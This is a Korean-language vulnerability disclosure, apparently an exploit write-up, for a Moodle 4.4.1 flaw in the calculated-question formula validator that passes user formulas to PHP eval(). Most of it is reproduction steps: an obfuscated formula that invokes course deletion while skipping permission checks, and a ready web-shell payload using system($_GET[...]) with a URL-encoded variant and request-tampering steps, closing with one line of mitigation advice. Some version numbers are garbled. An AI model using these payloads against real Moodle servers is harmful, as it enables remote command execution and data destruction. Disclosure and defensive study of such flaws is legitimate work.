
애플리케이션 이름: Moodle
빌드 버전: moodle-4.4.1
영향을 받는 버전: 4.44.4.1, 4.34.3.5, 4.24.2.8, 4.14.1.11 및 이전의 지원되지 않는 버전
다운로드 링크: moodle-4.4.1
질문을 생성하거나 수정할 수 있는 권한을 가진 공격자는 계산된 질문에 대한 악성 입력을 생성할 수 있으며, 이를 악용하여 기본 시스템에서 임의의 명령을 실행할 수 있습니다.

qtype_calculated_find_formula_errors 함수는 Moodle에 입력된 수식의 유효성을 보장하여 구문 오류를 방지합니다.

변수는 숫자 1.0으로 대체되고, 수식은 소문자로 변환되며 공백이 제거됩니다.


주요 검증 로직은 수식을 반복하면서 중첩 괄호가 없는 것으로 구분할 수 있는 가장 왼쪽의 수학 표현식을 식별하는 방식으로 수행됩니다. 그런 다음 이 표현식은 1.0으로 대체됩니다.

마지막으로, 정규식이 추가 일치 항목을 반환하지 않으면 수식이 안전한 연산자 또는 숫자만 포함하는 경우 유효한 것으로 간주됩니다. 원래 수식은 그냥 eval로 전달됩니다.
결과 검증은 필터링이 완전하지 않은 상태에서 수식을 php eval() 함수에 전달하여 수행됩니다.
검증 로직 프로세스를 우회하는 방법에는 2가지가 있습니다.

변수 자리 표시자(예: {a})는 ()로 감싼 값으로 대체됩니다. 위 수식에 {a}를 추가하면 'PRINTF'에 해당하고 결과는 'PRINTF'(1)이 되므로, a (function_name)과 a {variable}의 두 부분으로 구성된 답변 수식을 정의할 수 있습니다.
2) 정의되지 않은 변수는 eval() 함수로 전달되기 전에 대체되지 않으므로 수식의 일부로 영향을 받지 않습니다. 또한 변수 이름에 대한 위생 검사는 수식의 다른 모든 부분에 대해 구현된 검사보다 덜 엄격합니다. 이는 php object->{"member"} 구문을 사용할 때 임의의 함수를 호출하도록 악용될 수 있습니다.
하나의 변수(예: {a})를 사용하여 계산된 질문을 생성합니다.

질문을 저장하고 변수의 값 범위를 정확히 코스 ID인 3으로 설정합니다.

질문을 저장한 다음 수식을 다음과 같이 수정합니다.
((acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2)) ^ (8 . 4 . 2 . 8 . 8 . 3 . 4 . 0 . 0 . 0 . -1 . 3) ^ (2 . 0 . 0 . 3 . 0 . 0 . 0 . 0 . 0 . -8 . 1 . 0) ^ (0 . 0 . 0 . 0 . 0 . 0 . -2 . 1 . 4 . 6 . 0 . 0) ^ (0 . 0 . 0 . 0 . -8 . 8 . 0 . 0 . 2 . 0 . -8)){a}

수정된 질문을 저장하면 오류가 발생하지만 질문은 계속 저장됩니다. 문제은행으로 돌아가 질문을 미리 보면 DELETE_COURSE 함수가 지정된 ID의 코스를 삭제하며 모든 권한 검사를 무시합니다.


계산된 질문을 생성하고 답변 수식을 다음과 같이 설정합니다.
(1)->{system($_GET[chr(97)])}

수식이 1-0-system($_GET{chr(97)})로 수정됩니다.

패킷을 가로채서 다시 (1)->{system($_GET[chr(97)])}로 수정합니다. %281%29-%3E%7Bsystem%28%24_GET%5Bchr%2897%29%5D%29%7D

exception-system():Argument#1($command) cannotbe empty 오류가 나타납니다.

URL에 &a=[arbitrary command]를 추가하여 원하는 명령을 제공합니다. 지정된 시스템 명령의 출력은 결과 HTTP 응답의 시작 부분에 포함됩니다.
A=id

A=ls

qtype_calculated_find_formula_errors 위생 처리 함수를 수정하여 계산된 질문이 사용되지 않는 경우 /question/type/calculated/questiontype.php가 항상 false 값을 반환하도록 합니다.